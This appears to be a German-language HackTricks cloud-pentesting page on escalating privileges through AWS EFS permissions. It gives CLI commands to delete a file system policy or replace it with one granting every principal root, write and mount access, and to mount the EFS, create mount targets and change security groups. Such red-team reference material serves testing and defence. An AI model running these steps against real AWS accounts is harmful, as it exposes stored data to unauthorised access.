AWS - EFS Privesc
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
EFS
Mehr Info über EFS in:
Denken Sie daran, dass Sie, um ein EFS zu mounten, sich in einem Subnetz befinden müssen, in dem das EFS exponiert ist, und Zugriff darauf haben müssen (Sicherheitsgruppen). Wenn dies der Fall ist, können Sie es standardmäßig immer mounten. Wenn es jedoch durch IAM-Richtlinien geschützt ist, benötigen Sie die hier genannten zusätzlichen Berechtigungen, um darauf zuzugreifen.
elasticfilesystem:DeleteFileSystemPolicy
|elasticfilesystem:PutFileSystemPolicy
Mit einer dieser Berechtigungen kann ein Angreifer die Dateisystemrichtlinie ändern, um Ihnen Zugriff darauf zu gewähren, oder sie einfach löschen, sodass der Standardzugriff gewährt wird.
Um die Richtlinie zu löschen:
aws efs delete-file-system-policy \
--file-system-id <value>
Um es zu ändern:
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
Mit dieser Berechtigung kann ein Angreifer das EFS einbinden. Wenn die Schreibberechtigung standardmäßig nicht allen gewährt wird, die das EFS einbinden können, hat er nur Lesezugriff.
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
Die zusätzlichen Berechtigungen elasticfilesystem:ClientRootAccess
und elasticfilesystem:ClientWrite
können verwendet werden, um in das Dateisystem zu schreiben, nachdem es gemountet wurde, und um auf dieses Dateisystem als root zu zugreifen.
Potenzielle Auswirkungen: Indirekte Privilegieneskalation durch Auffinden sensibler Informationen im Dateisystem.
elasticfilesystem:CreateMountTarget
Wenn ein Angreifer sich in einem Subnetz befindet, in dem kein Mount-Ziel des EFS existiert, könnte er einfach eins in seinem Subnetz erstellen mit diesem Privileg:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Potenzielle Auswirkungen: Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen im Dateisystem.
elasticfilesystem:ModifyMountTargetSecurityGroups
In einem Szenario, in dem ein Angreifer feststellt, dass das EFS einen Mount-Ziel in seinem Subnetz hat, aber keine Sicherheitsgruppe den Verkehr erlaubt, könnte er einfach das ändern, indem er die ausgewählten Sicherheitsgruppen ändert:
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
Potenzielle Auswirkungen: Indirekte Privilegieneskalation durch das Auffinden sensibler Informationen im Dateisystem.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.